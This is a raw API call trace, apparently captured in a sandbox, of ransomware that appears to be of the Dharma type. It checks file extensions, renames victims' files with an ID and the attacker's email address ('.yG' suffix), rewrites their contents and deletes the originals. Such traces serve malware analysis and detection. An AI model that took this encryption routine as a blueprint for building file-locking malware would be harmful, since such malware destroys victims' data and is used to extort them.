	[0043.039] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xe4, lpOverlapped=0x0) returned 1
	[0043.039] SetEndOfFile (hFile=0x350) returned 1
	[0043.039] CloseHandle (hObject=0x350) returned 1
	[0043.039] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.039] SetEndOfFile (hFile=0x34c) returned 1
	[0043.040] CloseHandle (hObject=0x34c) returned 1
	[0043.040] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.040] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1
	[0043.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.041] lstrlenW (lpString=".doc") returned 4
	[0043.041] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0043.041] lstrlenW (lpString=".docx") returned 5
	[0043.041] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0043.041] lstrlenW (lpString=".pdf") returned 4
	[0043.041] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0043.041] lstrlenW (lpString=".xls") returned 4
	[0043.041] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0043.041] lstrlenW (lpString=".xlsx") returned 5
	[0043.041] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0043.041] lstrlenW (lpString=".ppt") returned 4
	[0043.041] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0043.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.041] lstrlenW (lpString=".zip") returned 4
	[0043.041] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0043.041] lstrlenW (lpString=".rar") returned 4
	[0043.041] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0043.041] lstrlenW (lpString=".bz2") returned 4
	[0043.041] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0043.041] lstrlenW (lpString=".7z") returned 3
	[0043.041] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0043.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.041] lstrlenW (lpString=".dbf") returned 4
	[0043.041] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0043.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.041] lstrlenW (lpString=".1cd") returned 4
	[0043.041] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0043.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.041] lstrlenW (lpString=".jpg") returned 4
	[0043.041] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0043.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.042] lstrlenW (lpString=".doc") returned 4
	[0043.042] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0043.042] lstrlenW (lpString=".docx") returned 5
	[0043.042] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0043.042] lstrlenW (lpString=".pdf") returned 4
	[0043.042] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0043.042] lstrlenW (lpString=".xls") returned 4
	[0043.042] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0043.042] lstrlenW (lpString=".xlsx") returned 5
	[0043.042] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0043.042] lstrlenW (lpString=".ppt") returned 4
	[0043.042] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0043.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.042] lstrlenW (lpString=".zip") returned 4
	[0043.042] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0043.042] lstrlenW (lpString=".rar") returned 4
	[0043.042] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0043.042] lstrlenW (lpString=".bz2") returned 4
	[0043.042] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0043.042] lstrlenW (lpString=".7z") returned 3
	[0043.042] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0043.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.042] lstrlenW (lpString=".dbf") returned 4
	[0043.042] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0043.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.042] lstrlenW (lpString=".1cd") returned 4
	[0043.042] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0043.042] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0043.043] lstrlenW (lpString=".jpg") returned 4
	[0043.043] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0043.043] lstrcmpiW (lpString1=".mzz", lpString2=".yG") returned -1
	[0043.043] lstrlenW (lpString="netfx_Extended.mzz") returned 18
	[0043.043] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0043.048] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=43131591) returned 1
	[0043.048] CloseHandle (hObject=0x35c) returned 1
	[0043.048] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20
	[0043.048] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.049] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0043.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0043.055] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0x0) returned 1
	[0043.055] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1
	[0043.056] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3d2f058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.144] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1
	[0043.145] ReadFile (in: hFile=0x360, lpBuffer=0x3d6f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3d6f058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.235] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fefc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0043.235] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc24 | out: lpNewFilePointer=0x0) returned 1
	[0043.235] ReadFile (in: hFile=0x360, lpBuffer=0x3daf058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fefc30, lpOverlapped=0x0 | out: lpBuffer=0x3daf058*, lpNumberOfBytesRead=0x2fefc30*=0x40000, lpOverlapped=0x0) returned 1
	[0043.252] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.252] WriteFile (in: hFile=0x360, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2fefca8, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefca8*=0xc0110, lpOverlapped=0x0) returned 1
	[0051.815] SetEndOfFile (hFile=0x360) returned 1
	[0051.815] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0051.819] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1
	[0051.819] WriteFile (in: hFile=0x360, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0051.820] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1
	[0051.820] WriteFile (in: hFile=0x360, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0051.821] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2fefc74 | out: lpNewFilePointer=0x0) returned 1
	[0051.821] WriteFile (in: hFile=0x360, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fefc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x2fefc80*=0x40000, lpOverlapped=0x0) returned 1
	[0051.822] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0051.824] CloseHandle (hObject=0x360) returned 1
	[0055.665] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.665] lstrlenW (lpString=".doc") returned 4
	[0055.665] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0055.665] lstrlenW (lpString=".docx") returned 5
	[0055.665] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1
	[0055.665] lstrlenW (lpString=".pdf") returned 4
	[0055.665] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0055.665] lstrlenW (lpString=".xls") returned 4
	[0055.665] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0055.666] lstrlenW (lpString=".xlsx") returned 5
	[0055.666] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1
	[0055.666] lstrlenW (lpString=".ppt") returned 4
	[0055.666] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0055.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.666] lstrlenW (lpString=".zip") returned 4
	[0055.666] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0055.666] lstrlenW (lpString=".rar") returned 4
	[0055.666] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0055.666] lstrlenW (lpString=".bz2") returned 4
	[0055.666] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0055.666] lstrlenW (lpString=".7z") returned 3
	[0055.666] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0055.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.666] lstrlenW (lpString=".dbf") returned 4
	[0055.666] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0055.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.666] lstrlenW (lpString=".1cd") returned 4
	[0055.666] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0055.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.666] lstrlenW (lpString=".jpg") returned 4
	[0055.666] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0055.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.666] lstrlenW (lpString=".doc") returned 4
	[0055.666] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1
	[0055.666] lstrlenW (lpString=".docx") returned 5
	[0055.666] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1
	[0055.666] lstrlenW (lpString=".pdf") returned 4
	[0055.667] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1
	[0055.667] lstrlenW (lpString=".xls") returned 4
	[0055.667] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1
	[0055.667] lstrlenW (lpString=".xlsx") returned 5
	[0055.667] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1
	[0055.667] lstrlenW (lpString=".ppt") returned 4
	[0055.667] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1
	[0055.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.667] lstrlenW (lpString=".zip") returned 4
	[0055.667] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1
	[0055.667] lstrlenW (lpString=".rar") returned 4
	[0055.667] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1
	[0055.667] lstrlenW (lpString=".bz2") returned 4
	[0055.667] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1
	[0055.667] lstrlenW (lpString=".7z") returned 3
	[0055.667] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1
	[0055.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.667] lstrlenW (lpString=".dbf") returned 4
	[0055.667] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1
	[0055.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.667] lstrlenW (lpString=".1cd") returned 4
	[0055.667] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1
	[0055.667] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40
	[0055.667] lstrlenW (lpString=".jpg") returned 4
	[0055.667] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1
	[0055.668] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.668] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33
	[0055.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0055.668] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=19136) returned 1
	[0055.668] CloseHandle (hObject=0x360) returned 1
	[0055.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20
	[0055.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0055.668] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.668] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0055.669] GetLastError () returned 0x0
	[0055.669] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0055.671] WriteFile (in: hFile=0x2d0, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0055.672] ReadFile (in: hFile=0x360, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.672] WriteFile (in: hFile=0x2d0, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x116, lpOverlapped=0x0) returned 1
	[0055.672] SetEndOfFile (hFile=0x2d0) returned 1
	[0055.672] CloseHandle (hObject=0x2d0) returned 1
	[0055.673] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.673] SetEndOfFile (hFile=0x360) returned 1
	[0055.674] CloseHandle (hObject=0x360) returned 1
	[0055.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.675] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1
	[0055.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.675] lstrlenW (lpString=".doc") returned 4
	[0055.675] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.675] lstrlenW (lpString=".docx") returned 5
	[0055.675] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.675] lstrlenW (lpString=".pdf") returned 4
	[0055.675] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.675] lstrlenW (lpString=".xls") returned 4
	[0055.675] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.675] lstrlenW (lpString=".xlsx") returned 5
	[0055.675] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.675] lstrlenW (lpString=".ppt") returned 4
	[0055.675] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.675] lstrlenW (lpString=".zip") returned 4
	[0055.676] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString=".rar") returned 4
	[0055.676] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString=".bz2") returned 4
	[0055.676] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.676] lstrlenW (lpString=".7z") returned 3
	[0055.676] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.676] lstrlenW (lpString=".dbf") returned 4
	[0055.676] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.676] lstrlenW (lpString=".1cd") returned 4
	[0055.676] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.676] lstrlenW (lpString=".jpg") returned 4
	[0055.676] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.676] lstrlenW (lpString=".doc") returned 4
	[0055.676] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString=".docx") returned 5
	[0055.676] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.676] lstrlenW (lpString=".pdf") returned 4
	[0055.676] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString=".xls") returned 4
	[0055.676] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString=".xlsx") returned 5
	[0055.676] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.676] lstrlenW (lpString=".ppt") returned 4
	[0055.676] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.676] lstrlenW (lpString=".zip") returned 4
	[0055.676] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString=".rar") returned 4
	[0055.676] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.676] lstrlenW (lpString=".bz2") returned 4
	[0055.676] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.677] lstrlenW (lpString=".7z") returned 3
	[0055.677] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.677] lstrlenW (lpString=".dbf") returned 4
	[0055.677] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.677] lstrlenW (lpString=".1cd") returned 4
	[0055.677] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91
	[0055.677] lstrlenW (lpString=".jpg") returned 4
	[0055.677] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.677] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.677] lstrlenW (lpString="ApiClient.dll") returned 13
	[0055.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0055.677] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=162880) returned 1
	[0055.677] CloseHandle (hObject=0x360) returned 1
	[0055.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20
	[0055.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71
	[0055.678] lstrlenW (lpString=".doc") returned 4
	[0055.678] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.678] lstrlenW (lpString=".docx") returned 5
	[0055.678] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0055.678] lstrlenW (lpString=".pdf") returned 4
	[0055.678] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.678] lstrlenW (lpString=".xls") returned 4
	[0055.678] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.678] lstrlenW (lpString=".xlsx") returned 5
